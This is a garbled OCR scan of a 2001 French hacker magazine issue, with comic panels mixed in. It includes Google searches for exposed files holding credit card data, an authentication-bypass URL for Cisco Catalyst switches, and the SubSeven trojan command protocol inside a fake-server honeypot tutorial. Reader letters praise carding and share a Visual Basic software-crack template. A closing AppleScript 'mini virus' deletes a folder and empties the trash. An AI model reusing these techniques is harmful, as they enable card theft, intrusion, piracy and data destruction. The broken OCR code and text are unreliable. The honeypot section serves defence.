Sander Krauss (chef de la rubrique Machack)
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‘Trouver les nomhres de GB
-ivec Google

Vous le savez, le meilleur moteur de recherche est bien sur
google.

Créé par deux étudiants de Stanford : Sergey Brin et Larry
Page, il est devenu le plus populaire en moins de 3 ans.

Comme tout moteur de recherche, google utilise un robot, appe-
16 fourmi ou araignée. '

Son principe est simple :

Un robot fonctionne avec les 3 programmes suivants :

- Un programme permettant de parcourir les sites inscrits.

- Une.base de donnée permettant de sauvegarder les données
récoltées. (Balises meta name, les textes, fichiers .pdf, .zip ....)

- Un moteur de recherche permettant a I'utilisateur de recher-
cher dans Ia base de donnée. : r

Depuis le 31 octobre, google permet d'indexer les fichiers Word,
[Excel, et PowerPoint. ; =
Celan'arien d'extraordinaire maisenallant danslemenu "recherche

avanceée", il vous est possible de rechercher un mot exact ou une -

expression qui pourraient étre contenus dans un fichier .doc/
Xls a0 i

Imaginez une secrétaire mettant toutes les coordonnées d'un
client (carte bleue, adresse, tel...) sous ses formats préfereés (.doc,
xls), qu'elle placesur un serveur accessible par le net.

I1 vous suffira d'étre créatif dans le choix de vos mots, et google
vous sortira une liste qui vous fera réver ;)

Allez, je vous mets sur la voix :

Code client
Carte hleue
Coordonnée
gt ...

Cettepetiteerreur quipourrait tourner au cauchemar pour certains
webmaster, n'estsimplement due qu'al'absence d'un fichier quiinter-
dit le réferencement.

Ce fichier s'appelle robot.txt, il se situe & la racine du site.
Pour le consulter, il vous suffit de taper :

i/ /.t com Polot.
Le fichier robot.txt est constitué de 2 lignes :

<enene- Permet & tout robot d'indexer
v <------Interdit 'accés a tout robot .

User-agent: *
Disallow: /password

Pour voir-ce que le webmaster cache dans le répertoire, il vous
suffira de taper :

A/ e Com/ passwond/

Par contre, il faut savoir qu'apreés réference ment du site, la base
de données ne sera accessible que sous 30 jours.

et . . N - P 4‘“%
LES INCENIEURS AVAIENT FABRIQUER

EN SECRET UNE MEMBRAVE DESTINEE A
CANALISER U ETRANGE QUi EMANE DE

P ¢ N

it

'

AS RV, C LS LUTILISENT CoMME
CARBURANT DUNE MACHINE MYSL_éR!&)SE
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CISCO 108

Qui a dit que les routeurs Ciscos étaient invulnérables ??

| - PRESENTATION

Un réseau local d’entreprise, LAN, est composé d’éléments
actifs, comme les switch. Contrairementabeaucoup dehub, lesswti-
ch sont administrables. Ils possédent alors un petit systéme pro-
priétaire, accessible via telnet ou un nav1gateur web pour
certain.

Les swtich catalyst de CISCO sont fort présents dans les grandes
structures (fabriquant derouteur, firewall. . .), ilspermettentalors
une gestion et uné administration plus mtelhgente des intercon-
nexions dans un LAN.

Avec I'adresse TP du switch et bien sur les informations adminis-
trateur, il est possible deles configurer comme bon voussemble: res-
triction de ports, redirection. ...

Sur le terrain :
Etant intervenu sur un site, dans une somete je fis un tour rapi-
de, pres des armoires de brassage ot sont présents bon nombres

(eaul/ V9 awac/ - Fivrasofl Intornet Explorar

| Pk b Abcbvgs  Pavsrts ol 0

| Bricidienei e

,3_‘1:5 gmrw [adPavors Clmrida. ,; ﬁde@uf"H“.”

de switch catalyst. Comme beaucoup le savent, les pénétrations
internes ne sont pas rares, 80% des intrusions proviennent d’une
personne interne a la société, ou avec I' aide d’un employé.

Aprés un rapide traceroute et un petit scan local, jobtiens
1’adresse IP des switch ; n’ayant pas les mots de passes adminis-
trateur de I’TOS Cisco, je ne peux pas entrer dans les switch en
question. ...ceci est valable pour la fonction telnet...par contre
je préfere nettement une interface web, car c’est plus conviviale.

il - PENETRATION

Une faille de sécurité est présente sur ces switch, il est facile de
lancer des commandes, en bypassant I'authentification. Ces com-
mandes sont lancés avec | e niveau 15 de secume des switch Cisco
(le plus haut).

Je procéde donc au test :

- Normalement il y a une fenétre d’authentification qui s’ouvre,
mais la non....

l;&mc Iﬁ} rug,. ,f; Mrualfiafenss

EN2924/4900
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on entre alors sur le switch voulu en utilisant I'exploit :

it://adresse_u _ switchyIevel/xy/exec
ol 'xx" est un entier compris entre 16 et 09

On peut alors exécuter les commandes citées sur la page

tevel 19 exec ping Mrrosofl Internel Explorer
| Fichier Edition AWchage Favorg Oullx 7
| Sabricidente * = - ) 3) A Direchercher  SiFevors @

| Adresse [ﬂ . Mevelitdfenecfping

EN2924/4900

Ap
IP echo
Lag
Tag encapsulated IP echo
WORDH

Ping deatination address or hostnams

CErrE MEMBRANE PRODUIT UNE REALIT
CANCEREVSE, CECANCER DE LA RéaLITE
PRoVoQUE UN APPAUVRISSEMENT GRAWDI
DE L ENERGIE QUi SE TRADUIT CHEZ pous PO
LA NUMERISAT o DE LA MOINORE PARTICUL

ET ENGENORE IC| DES MoNTAGNES INSATIAGLES

PRODUITES PAR DES USINES
EnN FoLIE

ON AToUT ESSAYE PR DETRUIRE
CerrE MEMBRANE. RIEN A FAiRE.
DES QUoN ATTAQUE SA STRUCTURE
1L SEN DEGAGE UN CHAMP DE FORCE

gwe VIOLENCE FoRMIiDARLE ,ON

CHAN-T L

el
.

‘A MEME 1;?3 PU EN PRELEVER UN B

Ici on peut faire un ‘ping’ par exemple (je n’entre pas dans le
détails de toutes les commandes, ce serait trop long)

i - CONCLUSION

- Beaucoup de ces switchs Catalyst sont vulniérables, ceux ayant

une version d'10S software 1 1.3 et plus, il faut donc télécharger
la nouvelle version sur le site de Cisco (http:/www.cisco.com/) et
upgrader 'IOS vulnérable: = == %
1 faut veiller: 4 ce que ces switch ne soient pasivisible via le fire-
wall, car il existe des failles permettant de bypasser ces derniers
et avoir donc acceés au LAN.

" Hokim e 'uipe SecurohT 2000

CE QUENS AUNS PRIS FOUR ON PROGRES
MERVEILLEUX N'ETAITQUE LE )
DEPERDITION DE 24 REALITE, LE CYBER-

MEAIDE. SE SIMPLIFIE PROGRESSIVEMENT,

JUSQU'A DEVEN IR UNE MASSE INDIFFERBVOIEE
GLISSANT VERS UN ANEWTISSENENT FULGURANT

S| on VEUT VENIR A BoUT DE |
L'HoRREUR QUi Nous MiNE , n
L Nous FAUT CHERCHER YRR
LA SoLuTion AILLEURS, é:EE
= e
=INeDx) ODO()OOQQ
= 0
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cnmment s'inscrn'e

Par téléphone en appelant le
0140210120 du mercredi au samedi inclu, de
11H  19H.

Sur place du mercredi au samedi inclu, de
11H 20H. Notre adresse :

1 Villa dui clos de Mallevart

(anmennemant 7 rue Darboy) 75011 Paris.

me goncourt ou Parmentler

Par courrier postal ou par mall
hackademy@dmpfrance com

Vous sarez inscrlt en foncﬂon des places
dlspombles dans la classe de votre choix.
En cas d’impossibilité nous vous
proposerons un autre choix.

Pour connaitre.les disponibili-
tes - '
unseul contact:

Billy Dub au (0)140 21 01 20

20h ou par mail- :
Billydub@dmpfrance.com

Insistez!!!
Les cours par correspondance

Les cours parcorrespondance sontdirectementtir s
des cours dispens s Zi hack. Le programme des
cours parcorrespondanceestdonclem me que celui
dispens dans'les locaux.

Les tarifs sont ausi identiques, une diff rence pres: par
correspondance, le cours New bi +

est compris dans le cycle New bi, pour le
mémetarif. Pourtouteinfoconcemantcescours, oupour
vous inscrire, contactez directement | cole au 01 40 1 01
20; du mercredi au samedi inclus, de 11 h 20 H ou
consultez www.dmpfrance.com

Nouveau: nos cours thématiques
Fin decembre /debut janvier,
debut des cours Linux

Trois niveaux sont proposés
Utilisateur débutant,

Utilisateur avance,
Administration systeme avancée.

A partir de janvier 2002

cours d'architecture réseau

sgcurisée (a hase de firewalls,
DVIZ, anti-vinus..) et
programmation en C

Une série de cours pour débutants, suivie d'un
cours de programmation systeme.

Début ce mois-ci des cours Wild
par Fozzy et Viktor et du cours
Intrusion (sur acceptation apres éntijatien)'

Les tarifs

Cours thématigues: (8 haures en 4X2h)

oin Zi HackAdemY

V La hack school d’Hackerz Voice
'les inscriptions sont ouvertss pour les nouvelies sessions 2002
WWW, dmpfrance .com

e



Les principes fondateurs de Zi Hackademy

Nous, fondateurs et collaborateurs de Zi Hackademy, déclarons ce jour :

Zi Hackademy est un lieu ouvert a tous, sans aﬂcune distinction, qui a
pour but la diffusion auprés du public d'informations permettant
la compréhension du fonctionnement des réseaux informatiques.

Nous agissons pour accroitre la transparence dans l'information du
public utilisateur de ces technologies, et de tous les citoyens.

La diffusion la plus large possible des informations d'experts liées au
fonctionnement des réseaux mformathue est pour nous une demarche
cuoyenne

Nous condamnons toute forme de piratage ou de tentative de piratage,
comme nous condamnons naturellement toute démarche
en contradiction avec les lois de la République.

C'est dans cet esprit que nous voulons connaitre et faire connaitre, y
compris jusque dans le détail et la complexité, le mode de fonctionne-
ment des piratages.

Nous affirmons que notre action d'information du public et des citoyens
a finalement pour but essentiel et principal la sensibilisation aux
aspects éthiques et Iégaux induits par le developpement de ces
nouvelles technologies.

En diffusant largement I'information, nous voulons contribuer a donner
aux citoyens les moyens de critiquer eux-méme, lorsque nécessaire, le
fonctionnement des réseaux dont ils sont clients ou utilisateurs, dans le
cadre de leur vie privée ou de leur entreprise.

Les valeurs qui inspirent notre action sont, placées sur le méme plan, la|
liberté et la responsabilité individuelles, qui sont aussi notre idéal.

Nous pratiquons 'également I'entraide entre nous et soutenons toute
action, toute publication et toute initiative poursuivant les mémes buts,
en France et dans le Monde

&
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Le manuel de

Tout d'abord, pour les newbies, je vais expliquer ce qu'est-un trojan.
Un trojan est un programme qu’on vous envoie et qui une fois exéouté sur
votre machine fonctionne comme le célebre cheval de Troie, il va permettre
des attaquants d'entrer librement dans votre machine et de la controler de
fond en comble. Votre machine a donc les portes grandes ouvertes sur Ie monde. . .

Avec la multitude de trojans qui existent et qui sont mis on-line
touslesjoursetlacroissance dunombred’apprentis piratessur Inter-
net, il devient nécessaire pour un particulier de s’en protéger
correctement afin d’éviter une attaque de ce type.

Nous allons voir dans cette article, comment programmer un
logiciel de défense contre les trojans.

C’est a dire un faux trojan et non un logiciel d’éradication de

trojans. Ilyadeux utilisations possibles pour ce type de programmes :

- Pour simuler une machine vulnérable, afin de voir si quelqu'un
scanne et essaie d'exploiter la faiblesse simulée (c’est en fait un
pot de miel ou honneypot, voir HZV07)

- Aprés détection et éradication d'un trojan sur la machine, pour
le remplacer par un faux, pouvoir comprendre les intentions de
la personne qui l'utilise, et la prendre en flagrant délit, sans
qu'elle ne se rende compte que 'on a détecté son attaque.

1) Informations sur le trojan et interprétations

Il) Codage en VB 6.0 d’un anti-trojans

Iil) Exemple de subseven 2.1 GOLD

1) INFORMATIONS SUR LE TROJAN ET INTER-

PRETATIONS :

Tous d’abord lemeilleur moyen d’avoir des informationssur un tro-
jan est de se le procurer. :

Telécharger.la partie client destinée a I’attaquant et la partie
serveur destinée a la victime. Infecter votre propre machine en
mettant un mot de passe sur le serveur si le trojan le permet.

Une fois que ceci est fait, on peut commencer a récolter des infor-

mations sur le trojan.

Déja il faut effectuer un scan de port sur la machine afin de
savoir quels portsutilise le trojan. Pour faire lescan deport, onpeut
utiliser de nombreux outils qui existent sur Internet comme
Fastscan, AnalyseR, NMAP etc.... (ces programmes sont dispo-
nibles sur www.securent-2000.com ).

Lorsduscanil fauts’assurer qu’iln’yait pasunserveur FTP ouautre
lancé intentionnellement, cela pourrait faire confusion.

Une fois que le port ot écoute le serveur du trojan a été trouve, il
va falloir connaitre les variables de commandes qu’utilise le
client.

[1 faut avoir un minimum de connaissance en VB.

Le systéme client/serveur est un systéme simple. Le client envoie
une chaine de caractéres au serveur qui I’interpretera et exécute-
ra la demande.

Ce n’est pas le client qui exécute la commande sur le serveur, mais
il demande au serveur de I’exécuter (c¢’est le serveur qui fait la
tiche) ce qui est différent. -

Par exemple, nous créons un nouyveau projet, une nouvelle feuille
(Forml), un bouton (cmd) et un controle Winsock (Ws) :

Partie client :

Private Sub cmd_Click(
Ws.Close ‘on ferme ¢ Sochet afin dBvilen une
 erreur dans o cas ou il Seral déja
ouvert.
‘on chiofgi I'IP du serveur
‘on choisit Ie port ou écoute fe serveur el

SUP [e fquel on va se connecler

Ws.RemoteHost = 193.252.114.8
Ws.RemotePort = 3000

Ws.Connect. '0n S8 connecte
Ws.SendData ("0s") '0n envoig I chaing e caractére "os”
Sur [e port o est connecls e client,
¢'es e Serveur qui recoit Ia chaine.
End $ub

Partie serveur :

Private Sub Form_ Load(
Me.Hide
On Error Resume Next
Ws.Close
Ws.LocalPort = 3000
Ws.Listen .

End sub

on met [e port 3000 Sur Gcoute

Private Sub ws_ ConnectionRequest(ByVal requestiD As Long)
On Error Resume Next
Ws.Close
Ws.Accept requestiD

End sub

‘on accepte [es demandes de connexions

Private Sub ws_DataArrival(ByVal hylesTotal As Long)
On Error Resume Next
Dim dat As String ‘
Ws GetData tat ‘loutes les tlunnéas Ui arrives sont

Mlacées dans Ia variahle dat

‘condition sur fa variahile

" exection te notepad de windows.

If dat = "0s" then
Shell(*c:\windows\notepad.exe”)
Enl if
End sub

=]
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~ Cepetitexempledeclientseryeur permet de mieux comprendre com-

ment fonctionnent les trojans. Eneffeton peut créer defauxserveurs

trésélaboréssi onconnait leschaines decaractéres qu’envoieleclient

et ses correspondances sur le serveur.
Pour connaitre toutes ces chaines de caractéres et les correspon-

dances, le principe est simple il suffit de créer un petit program-

me qui écoute sur le méme port que le serveur et qui iogue toutes
les données arrivantes dans une fextbox

On ferme donc le vrai serveur du trojan, on ouvre notre petit
programme et leclient du trojan. On cliquesurunbouton par exemple
"open CDROM” et on verra apparaitre dans notre programme
la chaine qu’a-envoyé le client par exemple "OPCD". Ainsi nous
savons que OPCD sert a ouvrir le cd-rom. On applique cette
méthode pour chaque commande que propose le client et on note
toutes les réponses soigneusement.

Une fois toutes ces informations notées et sauvegardees, on va pouvoir
passer la programmationd’un programme de défensecontreles trojans.

1) CODAGE EN VB 6.0 D'UN ANTI-TROJANS :

Pourcontrer untrojanet éviter desefaireavoiril faut’émuler. C’est
le principe de beaucoup d’anti-trojans tel que NoBO.

Eneffetsionsesert duméme port que levraiserveur du trojan, alors
il y aura une erreur et toutes les attagues provenant de I'exté-
rieur pourront étre loguées par notre petit programme.

Nous allons done juste eréer un petit serveur qui met sur écoute
le méme port que celui du serveur du trojan et loguer toutes les
demandes de connexions qui sont en réalité des attaques. ..

D’abord on met sur écoute le port désiré (vu dans le I)

Private Sul Ws_ConnectionRequest(ByVal requestid As Long)
Ws.Close
s Accept requestiD
Ws.SenData ("ok )
MsgBox " Trojans = Nom ti trojans” & vhCeLi & “attaguant : * & Ws.Remole-
HostIP & vbCeLf & “source port =" & Ws.RemotePort, , "ATTAQUE I"
End gub

Iei une Msgbox s’ ouvre & chaque fois que quelqu’un fait une demande de

connexion sur le port mis sur écoute. Son IR, portetc...... sont affichés.
Ce simple bout de code suffit a se protéger contre la plupart des
trojans !

Mais allons un peu plus loin. En effet, nous avons obtenu plu-
sieursinformationssur les chaines de caractéres qu'envoyait leclient
pourexécuter unecommandeainsion peut mettreuneconditionsur
les données qui art went afin d’également les interpréter comme
le vrai serveur. Saufqu’ici nous n’allons pas exécuter ce que veut
le client mais uniquement traduire et informer I'utilisateur du
programme de défense.

Private Sub Ws_DataArrival(ByVal tiytesTotal As Long)
Dim reci As String ;
Ws.GelData recu, vSteing
If regi = "0PCD" Then
Msphox "I'attauant tante d'ourie votre lecteur cd-rom”
End It
End Sub

Voila ainsi la victime sera protégée contre une confamination du

trojan, contre toutesattaquesextérieuresetconnaitralesintentions

de son agresseut !

Ne vivons nous pas une époque formidable ?

Passons maintenant 4 un exemple concret : le célebre Subseven

que j’ai eu le plaisir de décortiquer. ..
i1l) EXEMPLE DE SUBSEVEN 2.1 GOLD ¢

a - Etude du trojan :

‘Pour comprendle cette étude, il est nécessaire que vous ayez le

client de SubSeven. Afin de comprendre les commandes lan-
cées. ..

Port fiar defaut du trojan : 27374 )
Port par défaut de la Matrik : 7215
Port par défaut du Keylouger : 2773
Part par defaut de " spy " : 54283

Commande "desktop preview" :

Cettecommandeserta visualiser I’écran delavictime. Lorsque cette
commandeest lancée, lesdonnées "IN2" sontenvoyéessur leserveur,
sur le port 27374, Lorsqu'on arréte cette commande, les donnees
"CL2" sont envoyées.

Commande "Wehcam" : )

Cette commarnde sert a utiliser la Webcam du serveur sans son
autorisation. Pour commencer la capture le client envoi " IN7 "
et pour la terminer : " CL7 " |

- Commande "msgMessanger” :

Cette commande sert 4 envoyer-des nagscreen, ou plus simple-
mrent des boites de messages windows, Avec la possibilité d’en-
voyer n’importe quel message avec n'importe quel icone.

Commentmarche cettecommande ? Lorsque vous envoyez cette com-
mande, les données envoyées commencent toujours par "MW"
puissuiviesd'unnombrea | chiffre quicorrespond aux boutons pré-
sent :

0=0K
1 = Ahort, Retry, lgnore
2 = 0K, Cancel
3 = Retry, Cancel
- 4="Yes, No, Cancel

Cenombreestsuivid’unsecond nombre toujoursi I chiffre quicor-
respond al’icone du message :

0 = None

1 =Warning

2 = Information
3 = Emnor

4= uestion

Ces 2 chiffres sont suivis du titre du message puis derriére le titre
il ya"ZIXX" et ala fin de la chaine de caractéres se trouve le
corps du message. -

N DECEMBREZ001
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Un envoi de message peut donc donner quelque chose comme
ceci :

MW:21AttentionZIKXvous etes infecté |

Commande "keylogger" :

Pour commencer la capture via le port 2773, le elient va envoyer
cette chaine de caractéres au client : TKSon2773

Pour arréter la capture, le client envoie : TKSoff

Commande "disabladed keybord" :
Le client envoie "DAK" pour désactiver le clavier de la victime.

Modifications du serveur :

Changement deport : serta modifier leport par défaut égala 27374.
lesdonnéesenvoyéessont: CPT+n® deport. Par exemple CPT1000

Changement de password : sert a ajouter ou & modifier le mot de
passe d’accés au serveur, Les données envoyées sont :NPD+pass-
word. Par exemple NPDjohan.

Remove password : sert a supprimer le password du serveur lorsqu’il
y en a un.Les données envoyées sont : NPD_PZD
Fermerleserveur :sertafermerleserveur. Lesdonnéesenvoyéessont : CLS

Remove serveur : sert a enlever le serveur de la victime. Les don-
nées envoyées sont RMS

Commande "web browser" :

sert & ouvrir une URL sur le poste de la victime.

Le client fait une demande au serveur comme ceci : URL+url.
Par exemple : URLhttp://www.securent-2000.com

Controle de la souris :

Reverse bouton : sert a inverser les boutons de la souris apparte-
nant au serveur. Les données envoyées par le client sont : RMB

Restore bouton : sert 4 rétablir les boutons comme a 1’origine.
Les données envoyées sont : BMB

Hide mouse : sert & cacher le curseur de la souris appartenant au
serveur.
Les données envoyées sont : SMCoff

Show mouse : sert & montrer la souris lorsqu’elle a éte cachée
auparavant.
Les données envoyées sont : SMCon

Move/controle : sert a contrdler la trajectoire de la souris. Les
donpées envoyees sont : MMStart . Pour arréter cette commande
le client envoie : MMStop

Set mouse trail : la valeur du trail varie de 2 a 10. La commande
envoyéepar leclient est : SMT +trail. Par exemple SMT4 . pour arré-
ter cette commande le client envoie : SMToff.

Commande "clear record password" :
Sert a supprimer les mots de passe enregistrés en mémoire. Les
données envoyées par le client sont : CPL

Veice hors série / n° 4

Le manuel de Liacler:

Utilisation du chat : le chat du client permet de chatter avec un
autre client connecté sur le serveur et de chatter avec la victime.
Différentsparamétressont paramétrablescomme la tailleet lescou-
leurs du texte du client et du serveur,

Comment les informations sont transmises ?

Le client envoie des données de cette maniére : 0VCO+taille du
chat+taille texte victime+taille texte client+06cl+couleur vic-
time+cl+couleur client

Par exemple :0VC025101 506ciGreyr:1Yellow

Dans cet exemple la fenétre du chat qui va s’ouvrir aura une
taille égale 4 25, la taille du texte de la victime sera égale a 10, la
taille du texte du client sera égale a 15, la couleur du texte victi-
me sera grise et celle du client sera jaune.

Voila pour cette petite étude. Maintenant nous allons voir comment
se servir de ces informations pour coder un programme de défense.

b- Codage d'un anti-sub7 :

Déja commencer par créer un projetavec un controle Winsock (nommé
ici Winsock1) et 2 boutons.

Associer la mise sur écoute du port 2?374 pour le premier bou-
ton, comme ceci :

Private Sub Command1_Clich)
Winsock1.Close
Winsock1.LocalPart = 27374
Winsock1 Listen

Endl Sub .

Nous allons associer au deuxiéme bouton, I’arrét de I’écoute :

Private Sub Command2_Glicho
Winsock1.Close
End Sub

Maintenant il faut faire réagir leprogramme lorsqu’il y a une demande
de connexion sur le port mis sur écoute.

Donc nous allons ajouter ce morceau de code ;

Private Sub Winsoek1_ ConneclionRenuest(ByVal requestid As Long)
Winsock1.Close
Winsock1.Accept requestiD
Winsock1.SendData ("connected...)")
MsgBox " Trojans = sub7" &vh[:plr&"nﬂauuam " & Winsock1.RemoteHos-
1IP & vhCrLf & “source port=" & Winsock1.RemotePort, , “ATTAQUE I"
End Sub

Voila, ici le programme va vous montrer une MsgBox avec des
informations sur I’attaque lorsqu’un client va tenter de se
connecter sur votre port.

Winsock1.RemoteHostIP : sert & donner 'attaquant.

Winsock1.RemotePort : sert & doriner le port source de I'attaque.

Winsock1.SendData ("connected...:)") : sert denvoyer des données,
ici "connected...:)" au client. 4

|
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Cette chaine de caractéres va s’afficher dans la barre d’état du
trojan.
'» SubSevenv.2.1 GOLD by mobman. b X

ipfuin; 2 1? 4-23.2.0. 13? disconnect

'~ nont: 27374

: . read latest SURT news

- idle - ficonnected. )

Ainsi, le client croira qu’il est connecté sur le serveur. Alors que
ceciestunfaux serveur. Toutes lescommandes qu’il lancera neseront
pas exécutées ;)

Maintenant passons a I'interprétation des commandes deman-
 dées par le client (attaquant). Pour ceci créer 2 textBox. Une
qui servira & mettre la chaine de caracteres telle quelle et I'autre
qui servira @ mettrela traduction sur les intentions de l atta-
quant.

Private Sub Winsock1_DataAerivalByVal lwlesTmll As Long)
Dim recu As String

Winsock1.GetData recu, vhiSiring

Text2.Text = racu
EndSth -

Puis interprétons les demandes :

Private Suh Text2 I]hanpn
If Text2.Text =™
S Tanl:l Text= "IE cliem lema (o visualiser votre geran”

If Text2.Text = "CL2" Then
T\i:xl:! Jext = "le client 8 fremer Ia fendtre te capture d'écean®

S

If Text2. Text = "IN7" Then
E:@Jm = "l@ client tente t'utiliser votre weficam pour vous visualisez & voire

End If
If Text2. Text = "GL7" Then

Text3.Text = "Io client cesse de vouloir utiliser votre webcam"
End I
I Text2.Text = "GPL" Then

Text3.Text = "o client tente e supprimer vos mots de passe”
End i

If Tewt2.Text = "DAK" Then
Text3. Text = "Ie client tente te désactiver voire clavier"
Enel If

If Text2.Text = "CLS" Then
Text. Text = "le client tente de fermer Ie serveur”
End If :

1 Tent2. Text = "RMS" Then

Text3.Texl = "B client tente le supprimer [ seveur gl te vous ésinfecter: il
esl sympa "

En I

11 Text2.Text = "NPD_PID" Then
Textd. Text = "[e client tente de supprimer le pﬂsswum tu serveur"
End I '

If Text2. Tent = "TKSon2773" Then
5&7%]&11 ="lp client tente d'activer un keylogger qui utilise par defaut e port -

End If
If Tent2. Text = "TKSoff" Then

Text3.Text = "[a client tente de fermer le kaullmuar"
End If

Bon je n’ai pas tout mis car le code est un peu long. ..

Fail par Johan de |'equipe SecureNT-2000
www.secureNT-2000.com
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g THBVOICE eccomrceen
Salut a toute I'equipe

Il y a maintenant 4 mois que je me suis abonné a votre jour nal et j'aurais souhaité avoir un peu plus de renseignements sur les cours par
correspondance.

Ceci dit, dans votre article "tout pour faire chier le monde" du numéro 6, j'ai repéré plusieurs erreurs pour les desinstall suivante :
- L'imprimante '
- Le clavier
- Le modem
- L'écran
-Le D Dur
- La souris

Pour chacun de ceux 1i vous aviez mis (par ordre de citation ci dessus) :

"HKEY_CURRENT_USER\System\CurrentGontrotSer\ServiceshClass\Printer\"
"HKEY_ CURRENT__USER\System\CunrentControlSetzServices\Class\Keybioari\"
"HKEY_CURRENT _USER\System\CureentControlSer\Seruices\Class\Modem\"
"HKEY_ CURRENT _USER\System\CurrentControlSet\Services\Class\Monitor\"
"HKEY_CURRENT _ USER\System\CurrentControlSet\Services\Class\PCMIAN"
"HKEY_CURRENT _USER\System\CurrentControlSen\Services\Class\Mouse\"

Au lieu de mettre (toujours par ordre) :

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\blass\Printer\"
"HKEY_LOCAL_MACHINE\System'\CurrentConirolSet\Services\Class\Keyhoard\"
"HKEY_LOCAL_MACHINE\System\GurrentControlSet\Services\Glass\Morem\"
"HKEY_LOGAL_ MACHINE\System\CurrentControlSet\Services\Glass\Monitor\"
"HKEY _LOCAL_MACHINE\System\CurreatControlSef\Services\Class\POMIAN"
“HKEY_LOCAL_MACHINE\System\CurreniConirolSef\Services\Class\Mouse\"

A part ¢a j'ai bien aimé la partie carding (sur les CB) et j'espére qu'il y en aura beaucoup d'autre. Longue vie a HACKERZ VOICE.

ReSpAwN
(PS. : Répondez vite SVP :)

Fichiers invisibhles sur Mac

Bonjour,

Pour trouver des fichiers invisbles sous Mac 8.6. i

Faire Pomme+F puis dans la fenétre "recherche de fichier" maintenir la touche ALT enfoncée en cliquant sur "le nom". La un menu dérou-
lant apparait et ajoute a la fin visibilité. Il ne reste plus qu'a le choisir.

Sinon encore plus simple sous systeme 9 et superieur, faire pomme + F puis édition dcms les options avancées, vous avez la possibilité de
cocher sont invisbles et trouver amsi vos fichiers invisbles,

Bonne chasse. ;
Andre

Pour les lecteurs Suisses

Pour répondre au lecteur Suisse qui cherchait ot acheter son magazine préféré, j'ai deux adresses:

1. Le magasin de presse du centre commercial de Crissier (Vd)
2. La maison de la presse & St-Genis Pouilly (France)

Moi j'habite prés de St-Genis, donc c'est 1a que je me le procure.

A+‘
Max
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Prog source une contribution

Bonjour,

Je vous lis depuis maintenant un bon bout de temps. ;

Je trouve votre idée de cours de crack superbe, mais il manque quelque chose.

Je vous envoie donc ce qui, pour moi, mangque. ;

1l s'agit d'un prog en visual basic. (je sais, c'est un produit micro$oft, mais bon...) qui permet de faire des cracks.
11 suffit de modifier ce qui est indiqué en rouge. (voir plus bas pour plus d'explications...) :

Sub Main{
On Error GoTo Error
It FileLen(Anp.Path & "\NomProg.exe") =0 Then GoTo Error
Open App.Path & "\NomProg.exe" For Binary Access Wrile As #1
Put#1, aetat, byte
Close 41
MsgBox "Cracked ", vbApplicationMotal, "0K "
GoTo Fin
Eppor;
On Error Resume Next
Close #1
MsgBox "Vewillez metire le crach dans le repertoira de I'application!, vaExclamation, “Erreur 1"
Fin:
End Sub

NomProg : Il s'agit du nom du programme SANS le .exe -

octet : emplacement de l'octet & modifier dans le programme EN DECIMAL.

byte : valeur 4 mettre a la place de l'ancienne EN DECIMAL.

(en décimal signifie par exemple que si vous voulez mettre 75 (qui correspond en assembleur a "je") par 74 (qui correspond lui a "jne" en
assembleur), il vous faut mettre 117 car &H75 =117.

Cracked ! : Vous mettez ce que vous voulez pour indiquez que le crack s'est déroulé avec succé! ;)

1
Not__e_s ¢ Pour créer ce prog, il suffit juste de créer un nouveau projet sous visual basic, puis d'insérer un nouveau module.
Voila, . : ; !
Bon, maintenant, j'ai une tite question: Je n'ai pas pu acheter le hors série N° 2.
Peut-on vous le commander? Ou si vous en avez un qui traine au fonds de vos tiroir.....

Bonne continuation....

Tommy Lee :
Au fond des tiroir non mais sur le net en PDE out. Faut bien chercher, C planqué




IIEI:EMBIIE Zﬂlli

hors série / n° 4

Le manuel ﬂE

La gazelle littéraire du macintoghien avert

Sur mac, les 3 principaux langages pour m'ngmmmel- sont évidemment le C (et C++) le RealBasic et APPLE SCRIPT.
Aujourd’hui on va voir les possibilités d’APPLE SCIRIPT (ke je le trouve vraiment trop fun ...;0)

Pour ciréer un Apple script vous avez un éditeur de scrit dans voire mac :

“Editeur de scripts” mais il y en en a bien d'autres sur le net si vous cherchez ;

Les Base De Apple Script

Déja un Apple Script a pour ligne d'introduction quelque
chose souvent kom :

{¢ll application “Finder"
et fini par:
i ell
mais il y en a beaucoup d'autres...
Le premier s’exécute en application et le second : (on oﬁening
folder this folder) se fait a I'ouverture d'un dossier (truck :les

signe -- sont pour introduire des commentaires) -

D’abord les commandes a la con ;

-~ parler :

tell application "Finder™

say "bello" —dit hello (je vous conseille e causer en anglaissinon essayez

le french mais l'accent est po terrible ¢ délire quand méme ;0)
end tell

Faire une hoite de dialogue
display dialog “Bienvenue § grand Mafre"
(truck dans le texte : je vous conseille d'ajouter :"buttons
{"OK"} default
button 1 withicon 2" apres le text ci-dessus il permet de ne
mettre qu'un seul bouton, voir I'exemple plus bas)

Les scripts de Dossler

Maintenant on va voir les truck drol ke I'on peut faire avec les

- seript ki s'attachent o dossier (c la ke je m'éclate)

ruck : pour attacher un script a un dossier fait "ctrl" et cliquez
Truck : pour attach ptaund fait "ctrl" et cli
sur le dossier voulu puis "associer un-script a ce dossier" etc.)

D’abord il fo savoir k'il ne fo pas commencer le script par :
tell application " Finder"
mais par:

on opening folder this_folder

" --PUIS

tell application "Finder"

-- ¢ ici que l'on écrit le prog
end il

end opening folder

0n va commencer par:

on opening folder m_W‘~ al'ouverture du dossier ce dossier :

' “lefl application "Finder" appelle le finder

close the window of this_ folder - ferme le dossier-ce dossier
eni tell - arréte I'appel du finder -
et opening folder - fin dappel de I"ouverture du dossier
(je suis eclaté en mettant ca sur Ie HD dans un cybercafé de brel-
le :trop lol)

Maintenant on va compiler le tout ce que 1'on a yu pour en faire
un trop marrant : '

0N opening folder this_folrer-By 2018225 @ MackPlus.FeSt
tell application " Finder"

display dialog "Zobi8225 is the Mnslal- [ol" huttons {"0K"} defaull button 1 with
icon?

$ay "you are just a fucking bitch"--toujours des mots dousx...

close the window of this_folder-- donc a 1'ouverture de ce dossier
cedossier se ferme.

i fell
enid opening folder

on closing folder window for this llllﬂBl‘--puls a la fermeture du d0551er ce

dossier ouvre ce dossier
tell application "Finder"

open the window of this_folder
end tell :

end closing folder window for

Dong si vous avez compris ce dossier s’ ouvre, vous dit un mot
doux et se referme puis se ré ouvre redit son mot doux puis se,
referme efc...

Attention minl virus !

ily aaussi:

on opening folder this._ folder
{ell application "Finder"
tlelete this_folder -~ détru£it le dossier ce dossier! -
enply rash--vide la poubelle
eni tell--arréte 'appel du finder -
end apening folter-- fin d’appel de ['ouverture du dossier

qui est + rapide et plus efficace que le précédent

